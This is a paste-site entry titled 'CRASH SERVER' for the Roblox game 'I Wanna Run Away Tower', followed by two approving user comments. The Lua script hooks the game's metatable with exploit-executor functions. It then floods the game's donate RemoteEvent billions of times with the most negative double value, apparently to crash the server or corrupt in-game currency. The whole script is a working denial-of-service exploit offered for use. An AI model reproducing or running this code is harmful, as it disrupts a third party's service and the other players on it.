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CRASH SERVER

I WANNA RUN AWAY TOWER
3 months ago
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84 Lines • 2.1 KiB
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local mt = getrawmetatable(game)
local oldNamecall = mt.__namecall
setreadonly(mt, false)
local BLOCKED_REMOTES = {
["SpawnCoin"] = true,
["SpamCoinRemote"] = true,
}
local logRemotes = false
mt.__namecall = newcclosure(function(self, ...)
local method = getnamecallmethod()
if method == "FireClient" or method == "InvokeClient" then
if logRemotes then
warn("[Remote Fired]", self:GetFullName())
end
if BLOCKED_REMOTES[self.Name] then
warn("[BLOCKED REMOTE]", self:GetFullName())
return nil
end
end
return oldNamecall(self, ...)
end)
setreadonly(mt, true)
local Workspace = game:GetService("Workspace")
local function nukeCoin(part)
if part:IsA("BasePart") and part.Name == "MoneyCoin" then
part.Anchored = true
part.CanCollide = false
part.Transparency = 1
for _, child in ipairs(part:GetDescendants()) do
if child:IsA("ParticleEmitter") or child:IsA("Trail") or child:IsA("Beam") then
child.Enabled = false
elseif child:IsA("Decal") or child:IsA("Texture") then
child:Destroy()
end
end
part.Parent = nil
end
end
for _, obj in ipairs(Workspace:GetDescendants()) do
nukeCoin(obj)
end
Workspace.DescendantAdded:Connect(function(obj)
task.defer(nukeCoin, obj)
end)
pcall(function()
settings().Rendering.QualityLevel = Enum.QualityLevel.Level01
end)
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local donateRemote = ReplicatedStorage:WaitForChild("Donate_Money_Remotes"):WaitForChild("Give")
local totalFires = 10^10
local batchSize = 15000 -- how many times per batch
local delayBetweenBatches = 0.05 -- delay (seconds) between batches to avoid freezing
local firedCount = 0
while firedCount < totalFires do
for i = 1, batchSize do
local args = {-(2 - 2^(-52)) * 2^1023}
donateRemote:FireServer(unpack(args))
firedCount = firedCount + 1
if firedCount >= totalFires then
break
end
end
print("Fired ".. firedCount .. " times so far...")
task.wait(delayBetweenBatches)
end
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Comments

2 comments
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Ze

W script man thx!

1
0
st

won't work with shitsploits, lolz!!

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